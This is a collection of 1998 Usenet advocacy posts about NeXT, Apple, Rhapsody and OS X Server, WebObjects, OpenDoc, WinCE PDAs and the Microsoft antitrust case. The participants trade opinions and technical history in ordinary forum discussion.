> > have done that badly after sitting it out and watching Apple and Psion for
> > clues on what to do and what not to do.
> I never used a Palm PC. Are they really that bad? The color screen looks
> kinda nifty.
Color screen == high current + constant backlight == big battery drain.
Color screens are fun. But they're also incredible battery hogs; this is
as inappropriate in a PDA as a hard drive is. For example, the current
color HPs get 2 hours of constant-use battery life. In contrast, the
Newton MessagePad 2000 gets 30+ hours of constant-use battery life, and
has a processor that's almost four times as fast.
The problem with WinCE is that Microsoft has taken a graphical interface,
filesystem philosophy, driver philosophy, and programming API that was
(really badly) designed for moderately large screens with mice and hard
drives and full-sized keyboards, and crammed it into a PDA. It's a
horrible fit. AFAIK, the only reason Microsoft did this is that
"compatibility", both in terms of API and user perception, gives Microsoft
its competitive edge.
Sean - who wrote *this* messsage on a NeXTstation turbo color with a 21"
Mitsubishi monitor running NeXTSTEP 3.2.
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: Apple as Linux vendor: business solutions
Message-ID: <adtF1v5q2.K8I@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <6vr3b4$gv0$1@nnrp03.primenet.com> <FIiROLCWddLd-pn2-02PrLskVRerX@localhost> <3622e542.417730905@enews.newsguy.com> <FIiROLCWddLd-pn2-WRh9Q3skKThg@localhost> <keyes-ya02408000R1310981506290001@news> <slrn727bpq.lcs.jedi@dementia.mishnet> <adtF0u3v1.G0C@netcom.com> <slrn72ai2f.6lv.jedi@dementia.mishnet> <adtF0uM5o.GJA@netcom.com> <charles.bouldin-1410982335480001@192.168.0.1> <FIiROLCWddLd-pn2-ETkSuWN3LDd9@localhost> <36275FD9.8C6A7B8C@cadence.com> <D0BF1A6533F202D6.80CCF52EE4B32F3C.9A1A4646FF3C2ECA@library-proxy.airnews.net> <slrn73sj8q.ktf.josh@vortex.nyu.edu>
Date: Tue, 3 Nov 1998 20:46:50 GMT
Sender: adt@netcom12.netcom.com
On Sat, 24 Oct 1998 16:00:22 GMT, Sheldon Gartner wrote:
> Port a boatload of Mac apps to Linux and sell Apple hardware with
> Linx-preinstalled (I don't know if it'd be best for them to be
> duel-boot or not.)
Why? What you seem to be asking for is very close to Rhapsody. A UNIX core
with a credible consumer GUI and shrink wrapped retail apps (in addition
to the UNIX tools and apps for those interested).
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Microsoft and open source
Date: 2 Nov 1998 20:38:47 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <71l58n$oh5@newsb.netnews.att.com>
Originator: gupta@tlctest
Check :
http://www.tuxedo.org/~esr/halloween.html
It purports to be an internal strategy memorandum on Microsoft's
possible responses to the Linux,open source phenomenon.
As the author says, take a copy while you can, before MS sues to
shut it down.
-arun gupta
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 2 Nov 1998 20:41:31 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <71l5dr$om8@newsb.netnews.att.com>
References: <71kj6v$f4j@shelob.afs.com> <71ko1u$7u1@newsb.netnews.att.com> <see-below-0211981200500001@dynamic8.pm09.mv.best.com> <71l4mj$o2c@newsb.netnews.att.com>
Originator: gupta@tlctest
Key quote :
"Open Source Software projects have been able to gain a foothold
in many server applications because of the wide utility of highly
commoditized, simple protocols. By extending these protocols and
developing new protocols, we can deny OSS projects entry into the
market."
-arun gupta
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 3 Nov 1998 17:26:06 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-0311981225280001@pm61-13.magicnet.net>
References: <71kj6v$f4j@shelob.afs.com> <71kvll$q9t$1@nnrp03.primenet.com> <71l9ks$5r9$1@nnrp02.primenet.com> <B2639C1A-F592C@206.165.43.141> <71ljv9$1f4$2@nnrp03.primenet.com> <1dhx17f.ykfxv7qlzgujN@roxboro0-039.dyn.interpath.net>
phenix@interpath.com (John Moreno) wrote:
> I think Apple had the revolutionaries - they just shot at them so often
> they are gun shy.
>
> Look at Lawson - he's about as revolutionary as you can get in regards
> to OpenDoc and GX, but that doesn't matter -- they've pretty much killed
> both of them. Other people take him as a object lesson - adopt Apple's
> latest and greatest and 3 or 4 years latter you'll be singing it's
> praises while getting ignored for flogging a dead horse.
On the other hand, people *still* haven't figured out the Microsoft equivalent.
Adopt Microsoft's latest and greatest, innovate like hell, and right when
you're starting to make money, Microsoft comes out with *their* version of
your product, hard-coded into Windows XX and "free: with the OS.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: UNIX outpaces NT
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References: <71a2ln$195@newsb.netnews.att.com> <4%2_1.12015$yb5.8389541@news.rdc1.sdca.home.com>
<rdm-0111980905280001@140.174.42.30> <7eu%1.13046$yb5.11042283@news.rdc1.sdca.home.com>
<71lvgk$cr7$1@nnrp02.primenet.com>
Message-ID: <0cH%1.13166$yb5.11439671@news.rdc1.sdca.home.com>
Date: Tue, 03 Nov 1998 17:38:04 GMT
NNTP-Posting-Date: Tue, 03 Nov 1998 09:38:04 PDT
Organization: @Home Network
In <71lvgk$cr7$1@nnrp02.primenet.com> John Jensen wrote:
> Rex Riley <rr6013@yahoo.com> wrote:
>
> : Jobs has traditionally used pricing to scale sales to overhead costs.
Too
> : low sales price overwhelmes tech support. Apple's worst nightmare would
be
> : MacOS X Server overnight success. They couldn't gear up fast enough.
>
> I heard the story once that IBM killed OS/2 because of a support overload
> after a too-successful Warp launch.
>
> That seems sad. You would think there would be a way to have your cake
> and eat it too. Perhaps a low priced version with a "Help CD"[*] and a
> higher priced version with "Extended Telephone Support"? If you give the
> customer two prices they will know what their options are.
>
> * - The IDE CDROM interface is shaken out enough that a bullet-proof help
> CD should be possible. The interface would probably have to be generic
> VGA.
>
>
OS X is no cake walk. It's unix in a crowded theater of Macintosh
disciples. It's Java with Obj-C wrapper extensions. OS X customer support
via RTFCD is a non-option.
-r
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: UNIX outpaces NT
Date: 3 Nov 1998 18:19:19 GMT
Organization: Primenet (602)416-7000
Message-ID: <71nhf7$r73$1@nnrp02.primenet.com>
References: <71a2ln$195@newsb.netnews.att.com> <4%2_1.12015$yb5.8389541@news.rdc1.sdca.home.com> <rdm-0111980905280001@140.174.42.30> <7eu%1.13046$yb5.11042283@news.rdc1.sdca.home.com> <71lvgk$cr7$1@nnrp02.primenet.com>
<0cH%1.13166$yb5.11439671@news.rdc1.sdca.home.com>
In article <0cH%1.13166$yb5.11439671@news.rdc1.sdca.home.com> you wrote:
: In <71lvgk$cr7$1@nnrp02.primenet.com> John Jensen wrote:
: > Rex Riley <rr6013@yahoo.com> wrote:
: > : Jobs has traditionally used pricing to scale sales to overhead
: > : costs. Too low sales price overwhelmes tech support. Apple's worst
: > : nightmare would be MacOS X Server overnight success. They couldn't
: > : gear up fast enough.
: > I heard the story once that IBM killed OS/2 because of a support
: > overload after a too-successful Warp launch.
: > That seems sad. You would think there would be a way to have your
: > cake and eat it too. Perhaps a low priced version with a "Help CD"[*]
: > and a higher priced version with "Extended Telephone Support"? If you
: > give the customer two prices they will know what their options are.
: OS X is no cake walk. It's unix in a crowded theater of Macintosh
: disciples. It's Java with Obj-C wrapper extensions. OS X customer
: support via RTFCD is a non-option.
From the above, I thought we were talking about OS X Server. I think it
is a little more clean-cut for that product. People who want to run
Server cheaply think they are tough guys. They shouldn't have a problem
with reading TFCD. Non-tough guys would buy a support option.
The consumer level OS X is a bit of a different situation, but I don't
doubt that installation help on a bootable CD can move forward.
Above you say "Jobs has traditionally used pricing to scale sales..."
It seems to me that Jobs has traditionally used pricing to kill products.
John
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Tue, 3 Nov 1998 14:54:55 -0500
Organization: phenix@interpath.com
Message-ID: <1dhx9ra.ga26bc1hq6zluN@roxboro0-024.dyn.interpath.net>
References: <71kj6v$f4j@shelob.afs.com> <71kvll$q9t$1@nnrp03.primenet.com> <71l9ks$5r9$1@nnrp02.primenet.com> <B2639C1A-F592C@206.165.43.141> <71ljv9$1f4$2@nnrp03.primenet.com> <1dhx17f.ykfxv7qlzgujN@roxboro0-039.dyn.interpath.net> <cirby-0311981225280001@pm61-13.magicnet.net>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4b3
Chad Irby <cirby@magicnet.net> wrote:
> phenix@interpath.com (John Moreno) wrote:
>
> > I think Apple had the revolutionaries - they just shot at them so often
> > they are gun shy.
> >
> > Look at Lawson - he's about as revolutionary as you can get in regards
> > to OpenDoc and GX, but that doesn't matter -- they've pretty much killed
> > both of them. Other people take him as a object lesson - adopt Apple's
> > latest and greatest and 3 or 4 years latter you'll be singing it's
> > praises while getting ignored for flogging a dead horse.
>
> On the other hand, people *still* haven't figured out the Microsoft
> equivalent.
>
> Adopt Microsoft's latest and greatest, innovate like hell, and right when
> you're starting to make money, Microsoft comes out with *their* version of
> your product, hard-coded into Windows XX and "free: with the OS.
Yeah, but at least with MS if you get it out soon enough and gain a
large enough market share you can hope to be bought out instead of just
abandoned.
--
John Moreno
Newsgroups: comp.sys.powerpc.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Power3 = 64-bit G4? (Was Question on G4)
Content-Type: text/plain; charset=us-ascii
Message-ID: <F1t9z3.Bq3@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: kwazyjin@hotmail.com
Organization: needs one
References: <ukm%1.4689$fS.15375750@news.itd.umich.edu>
Mime-Version: 1.0
Date: Mon, 2 Nov 1998 20:23:26 GMT
In <ukm%1.4689$fS.15375750@news.itd.umich.edu> "Jin Kim" wrote:
> I originally posted this question under "Question of G4." I thought
> maybe
> a new subject line would be better to get more input from people. But
> anyhow, what do you think? From the information that I've been able to
> gather on Power3 and the rumors I've heard about the adoption of
> "64-bitness" into the G4 line of processors, it seems like they are one in
> the same. It seems like rumors of multi-cored 64-bit G4 was about Power3
> all along. Also, I've recently heard that Power2 processor was actually
> PPC 620 renamed.
From what I understand you basically have it backwards. The original
POWER1 was a multi-chip system (similar to the 88000 series) which was
later "distilled" into the 601, 604 and in a lower functionality version,
the 603. The 620 was better looked at as a single-chip implementation of
the POWER2, as opposed to _being_ the POWER2. It seems to depend on the
case, but the chips lead from the architechture, which is what the POWER
name refers to.
> generation of 64bit PPC to be sold under the PowerX name. I'm rather
> eager to see 64bit processor adoption on the Mac side in next couple of
years
> (though there is no 64-bit OS plans as of yet)
Which basically (for the most part at least) makes your want of the 64
bit processors suspect. Why exactly do you want one? Unless you're doing
some serious work on super-big datasets, you'll see no basic improvement by
moving to 64bit CPU's.
Maury
Newsgroups: comp.sys.powerpc.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Power3 = 64-bit G4? (Was Question on G4)
Content-Type: text/plain; charset=us-ascii
Message-ID: <F1urn7.5yA@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: rbarris@quicksilver.com
Organization: needs one
References: <F1t9z3.Bq3@T-FCN.Net> <B2637101-538D4@206.165.43.141>
<Ufq%1.4718$fS.15509173@news.itd.umich.edu> <rbarris-ya023280000211981445230001@206.82.216.1>
Mime-Version: 1.0
Date: Tue, 3 Nov 1998 15:42:42 GMT
In <rbarris-ya023280000211981445230001@206.82.216.1> Rob Barris wrote:
> I have no idea what Apple's plans for a 64-bit MacOS or MacOS X are.
I'm not sure Apple does either.
Maury
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: Tue, 03 Nov 1998 23:50:38 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71o4se$lsc$1@nnrp1.dejanews.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com>
In article <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
> In <71m90v$gsa@news1.panix.com> Sal Denaro wrote:
>> WO4 can help them build the credibility they need to sell in that market.
>> It takes time to build an infrastructure. OSX is most certainly a long
>> term plan.
>
> Right now OSX long term looks no more than a mini-truck in18 wheeler land.
> If OSX is gonna haul freight over the Internet with WO, it's gonna have to
> pull right along with Mack trucks like Sun, Linux and NT.
I think you're confused if you regard NT to be a "Mach truck" of Internet
transport. Anyway, WOF runs on top of NT and Solaris just fine, although NT
is better suited for a developer playpen and not for actual usage as a live
server.
Sun's hardware scales very far up, so is a good choice for heavy-duty sites.
However, Apple's G3 hardware has a competitive price/performance point for
smaller deployments, and Apple could leverage existing WOF on NT towards MacOS
X Server in several ways.
> If OSX is a long term plan, Apple must be positioning the server offering
> for some future technology layer. What we've heard about making it a
> publishing server is simply too limited to justify the bells & whistles like
> SMP...
Disagree. Dealing with publishing is a primary problem on some of the largest
sites out there, because content management is such a essential aspect of a
large, dynamic site with lots of people authoring content and complex
scheduling for go-live times for this new content.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
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Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Message-ID: <nagleF1voBp.BGH@netcom.com>
Organization: ICGNetcom
References: <71kj6v$f4j@shelob.afs.com> <363DDCD0.ED90035C@yahoo.com> <B2653141966877F8@charlie1.easynet.co.uk>
Date: Wed, 4 Nov 1998 03:28:37 GMT
Sender: nagle@netcom6.netcom.com
charlie1@easynet.co.uk (Charlie Whitaker) writes:
>As for as I understand things, Microsoft isn't on trial for *intentionally*
>frustrating competition. An elephant standing on your foot might be
>blissfully unaware of its imposition on you, but that doesn't mean your
>toes aren't being crushed, or that the elephant shouldn't be budged.
Microsoft's legal problems stem from what is called "tying" in
antitrust law. The general idea is that you can't use your product
strength in area A to improve your position in area B by forcing
people to buy a B product they don't want to get an A product they do want.
In the US, that is illegal. Microsoft is in trouble because it's
become clear that they use tying to leverage their OS position to
crush competitors in other areas.
Historically, computer companies that get into tying-type antitrust
trouble lose. IBM once required that IBM punchcards be used in IBM
tabulators - they lost that one in the 1950s. In the 1960s, they
required purchasers to buy IBM peripherals with IBM mainframes.
IBM lost an antitrust case on that one, and a whole plug-compatible
peripheral industry was born.
That last decision is very important, because it kept IBM from
trying to do the same thing with PCs. In the mainframe world, IBM
was required to document and disclose their interfaces, and they
had to wait a certain periof after disclosing an interface before
they could ship a product that used that interface. That's the sort
of restriction we might see imposed on Microsoft.
Even more drastic was what happened to AT&T. The company was broken
up. Anybody could make phones, and AT&T had to disclose the interconnection
specs for everything in the phone system. That's why there are phones
and phone gear in retail stores everywhere now. That's the direct result
of antitrust litigation.
John Nagle
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 4 Nov 1998 03:48:14 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <71oipu$dq4@news1.panix.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com> <71o4se$lsc$1@nnrp1.dejanews.com>
On Tue, 03 Nov 1998 23:50:38 GMT, Charles Swiger <chuck@codefab.com> wrote:
>> If OSX is a long term plan, Apple must be positioning the server offering
>> for some future technology layer. What we've heard about making it a
>> publishing server is simply too limited to justify the bells & whistles like
>> SMP...
>Disagree. Dealing with publishing is a primary problem on some of the largest
>sites out there, because content management is such a essential aspect of a
>large, dynamic site with lots of people authoring content and complex
>scheduling for go-live times for this new content.
And the publishing and content creation industry is one of the few industries
where Apple has both a strong foothold and a solid reputation.
WO is building a lot of credibility for Apple on Wall street and Madison ave.
looks like the next logical target market.
From: ch3@earthlink.net (CaHand)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Tue, 03 Nov 1998 19:30:15 -0800
References: <cirby-0311980923530001@pm61-32.magicnet.net> <B2648E7A-39154@206.165.43.115>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-0311981930160001@ip63.seattle13.wa.pub-ip.psi.net>
>3) the only Internet client software that ever used OpenDoc was Cyberdog,
>which Gates apparently perceived as quite threatening because he singled
>out OpenDoc as an issue for client software when Cyberdog was the ONLY
>client software on any platform that used it.
Nice leap of faith, there.
>
>Cyberdog is the trojan horse of OD software. Get people using CD and they
>dont' want to go back to earlier types of browsers. Had Cyberdog bundling
>continued, there would have been such an installed base of OD users that
>Jobs wouldn't be able to justify killing OD OR Cyberdog.
>
Cyberdog was dead the day it was given that name.
Jobs was justified in killing it because it was a drain on
Apple's resources. In addition it was a distraction from
their future product strategies. OpenDoc = dead. CI Labs
is disbanded. The future is the YellowBox. Learn about
the Yellow Box and PDO. Your life will be happier.
Best Regards,
CaHand
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
MIME-Version: 1.0
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<71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com>
<71m90v$gsa@news1.panix.com> <eXG%1.13161$yb5.11439671@news.rdc1.sdca.home.com>
<71oipq$dq4@news1.panix.com>
Message-ID: <nwQ%1.13360$yb5.11713788@news.rdc1.sdca.home.com>
Date: Wed, 04 Nov 1998 04:14:11 GMT
NNTP-Posting-Date: Tue, 03 Nov 1998 20:14:11 PDT
Organization: @Home Network
In <71oipq$dq4@news1.panix.com> Sal Denaro wrote:
> On Tue, 03 Nov 1998 17:20:10 GMT, Rex Riley <rr6013@yahoo.com> wrote:
> >In <71m90v$gsa@news1.panix.com> Sal Denaro wrote:
> >> _IF_ (and that is a big if) Apple can ship OSX, with the major Mac Apps
> >> ported to carbon, and some YB Apps to show developers why YB is cool;
> >Apple
> >> can build the credibility it needs to sell OSX as a better NT in 3-5
> >years.
> >> (3-5 is my estimate, based on NT and Linux market penetration)
> >
> >They don't have that long in this Java/Win/Linux market...
>
> Why?
>
>
In a word... momentum. Already behind MSWindows with MacOS, Apple should
understand the precious asset wasting away in OSX. Just let the window of
opportunity gap enough for JavaOS and/or Linux, Apple can witness DÝja vu,
ala Windows, over again.
Momentum Rules... IBM+Sun released JavaOS for thin-clients last month. I'm
very sure that it will grow and mature in the next few years. Apple
meanwhile isn't even out of the starting blocks with their OS. And this is
with a mature, ten (X) year proven OS that they decided to glom a Mac GUI
onto 2 years ago. Two years ago JavaOS was still on the drawing boards.
You're the CIO... you have to choose your technology platform for the next 5
years. I just read the historical facts. Who you gonna bet your company
on? Sun, MS, IBM, Apple? What are your undeniable facts to justify your
position?
See... you really think Apple has 3-5 years to ramp-up their OSX product
plan?
-r
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: Tue, 03 Nov 1998 22:34:09 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71o0d1$g3n$1@nnrp1.dejanews.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com><71ikln$94o@news1.panix.com> <71itan$ahn$1@ash.prod.itd.earthlink.net>
In article <71itan$ahn$1@ash.prod.itd.earthlink.net>,
"Ziya Oz" <ZiyaOz@earthlink.net> wrote:
> In article <71ikln$94o@news1.panix.com> , sal@panix.com (Sal Denaro) wrote:
>> I'm willing to bet that the delay has more to do with WO4 and support for
>> Oracle
>
> What support for Oracle?
A new EOF adaptor for use in conjunction with WebObjects 4. Rumor has it that
Oracle wanted a very large sum of money to do the port.
Unfortunately, one problem with a true middleware layer like EOF with regard
to gathering support from DB vendors is that EOF marginalizes the specific
database in use. If the developer neither sees nor cares whether he's using
Oracle, Sybase, MS SQLserver, or whatever, how does Oracle stand out from
its' competition?
-Chuck
> Ziya Oz
>
>
-----------== Posted via Deja News, The Discussion Network ==----------
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From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com>
<71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com>
<71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com>
<71o4se$lsc$1@nnrp1.dejanews.com>
Message-ID: <oqN%1.13247$yb5.11558948@news.rdc1.sdca.home.com>
Date: Wed, 04 Nov 1998 00:43:00 GMT
NNTP-Posting-Date: Tue, 03 Nov 1998 16:43:00 PDT
Organization: @Home Network
In <71o4se$lsc$1@nnrp1.dejanews.com> "Charles Swiger" wrote:
> In article <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com>,
> > If OSX is a long term plan, Apple must be positioning the server
offering
> > for some future technology layer. What we've heard about making it a
> > publishing server is simply too limited to justify the bells & whistles
like
> > SMP...
>
> Disagree. Dealing with publishing is a primary problem on some of the
largest
> sites out there, because content management is such a essential aspect of
a
> large, dynamic site with lots of people authoring content and complex
> scheduling for go-live times for this new content.
>
>
SMP may be the one-trick Pony for Publishing. But SMP for departmental
servers in Publishing? That's all? I'd like to see SMP R&D amortization
figures on that business case. There must be more to OS X server beyond
Macintosh badged domains. Apple selling to the MacChoir is OK. That's
enough?
The capitalist in me wants there to be a larger strategy. If strategy is
the plan then technology must be the enabler. Since SMP isn't the NT
killer, MacOS is doomed to continued Windows Step Child status?
-r
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com>
<71ikln$94o@news1.panix.com> <71itan$ahn$1@ash.prod.itd.earthlink.net>
<71o0d1$g3n$1@nnrp1.dejanews.com>
Message-ID: <BvN%1.13248$yb5.11558948@news.rdc1.sdca.home.com>
Date: Wed, 04 Nov 1998 00:48:33 GMT
NNTP-Posting-Date: Tue, 03 Nov 1998 16:48:33 PDT
Organization: @Home Network
In <71o0d1$g3n$1@nnrp1.dejanews.com> "Charles Swiger" wrote:
> In article <71itan$ahn$1@ash.prod.itd.earthlink.net>,
> "Ziya Oz" <ZiyaOz@earthlink.net> wrote:
> > In article <71ikln$94o@news1.panix.com> , sal@panix.com (Sal Denaro)
wrote:
> >> I'm willing to bet that the delay has more to do with WO4 and support
for
> >> Oracle
> >
> > What support for Oracle?
>
> A new EOF adaptor for use in conjunction with WebObjects 4.
OK, I'll bite... do you know the business case for changing EOF yet again?
-r
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <71od3h$94q$8287@nnrp2.snfc21.pbi.net>
Control: cancel <71od3h$94q$8287@nnrp2.snfc21.pbi.net>
Date: 04 Nov 1998 02:14:26 GMT
Organization: BOFH Space Command, Usenet Division
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Sender: hammer@coastinternet.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
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Please include the X-CosmoTraq header of this message in any correspondence
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Sick-O-Spam, Spam-B-Gon!
From: ch3@earthlink.net (CaHand)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Tue, 03 Nov 1998 19:19:50 -0800
References: <ch3-0211980954310001@ip158.seattle11.wa.pub-ip.psi.net> <B26349A3-3E7FF@206.165.43.97>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-0311981919500001@ip63.seattle13.wa.pub-ip.psi.net>
>???
>Are you saying that Rhapsody was EVER a threat to Windows?
The technology included in Rhapsody is/was a direct threat to
Microsoft's dominance of software development platforms.
(THE API.) When dependence on Win32 is lifted, the landscape
changes.
>OpenDoc wasn't a threat to Windows either. It also was a threat to MS's
>lock on cross-platform solutions (and MS-only solutions), but he perceived
>it as a bigger threat because IBM and bunches of other companies were
>involved in it, whereas Rhapsody was Apple-only.
No more(I'd say much less) a threat than PDO or CORBA.
You're attempting to validate a technology based on
rather weak underpinnings(language, OS, etc.), because
it was mentioned in some email? Not to mention the
fact that OpenDoc's own supposed supporters weren't
even behind it. OpenDoc is dead. It's been dead,
and will stay dead. Move on.
Best Regards,
CaHand
From: ch3@earthlink.net (CaHand)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: Tue, 03 Nov 1998 19:13:16 -0800
References: <71l58n$oh5@newsb.netnews.att.com> <jpolaski-0211981657410001@d149-220.ce.mediaone.net> <cirby-0211981911060001@pm51-27.magicnet.net>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-0311981913160001@ip63.seattle13.wa.pub-ip.psi.net>
>> > Check :
>> > http://www.tuxedo.org/~esr/halloween.html
>> >
>> > It purports to be an internal strategy memorandum on Microsoft's
>> > possible responses to the Linux,open source phenomenon.
>> >
>It's looking rickier and harder all of the time. The memo has supposedly
>been confirmed by some other sources. Check Slashdot for more details...
>
Of course it's been confirmed. It wouldn't be all that
smart for Microsoft to intentionally leak a document and
then deny it's authenticity.
While OpenSource software enthusiasts feel a big dose
of validation from this thing, they play right into MS's
defense: WE ARE NOT A MONOPOLY. WE DO NOT HINDER MARKET
INNOVATION.
So OpenSource software, while giving themselves a big
pat on the back, will provide Microsoft exactly what they
need.
Best Regards,
CaHand
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 4 Nov 1998 03:48:10 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <71oipq$dq4@news1.panix.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <eXG%1.13161$yb5.11439671@news.rdc1.sdca.home.com>
On Tue, 03 Nov 1998 17:20:10 GMT, Rex Riley <rr6013@yahoo.com> wrote:
>In <71m90v$gsa@news1.panix.com> Sal Denaro wrote:
>> _IF_ (and that is a big if) Apple can ship OSX, with the major Mac Apps
>> ported to carbon, and some YB Apps to show developers why YB is cool;
>Apple
>> can build the credibility it needs to sell OSX as a better NT in 3-5
>years.
>> (3-5 is my estimate, based on NT and Linux market penetration)
>
>They don't have that long in this Java/Win/Linux market...
Why? Is the need for innovative software going to evaporate?
Are hoards of Linux blackshirts going to storm the gates of commercial
software houses? (no pun intended)
Apple is investing in YellowBox, I am very sure that it will grow and
mature in the next few years.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 4 Nov 1998 03:48:20 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <71oiq4$dq4@news1.panix.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <71itan$ahn$1@ash.prod.itd.earthlink.net> <71o0d1$g3n$1@nnrp1.dejanews.com> <BvN%1.13248$yb5.11558948@news.rdc1.sdca.home.com>
On Wed, 04 Nov 1998 00:48:33 GMT, Rex Riley <rr6013@yahoo.com> wrote:
>OK, I'll bite... do you know the business case for changing EOF yet again?
IIRC, the Oracle EOF adapter that shipped was a NextStep App and not
an OpenStep App. Since the PPC version of Rhapsody would not include
those frameworks, they had to do a rewrite.
(If I'm wrong please correct me)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: Apple as Linux vendor: business solutions
Message-ID: <adtF1vxzG.J4o@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
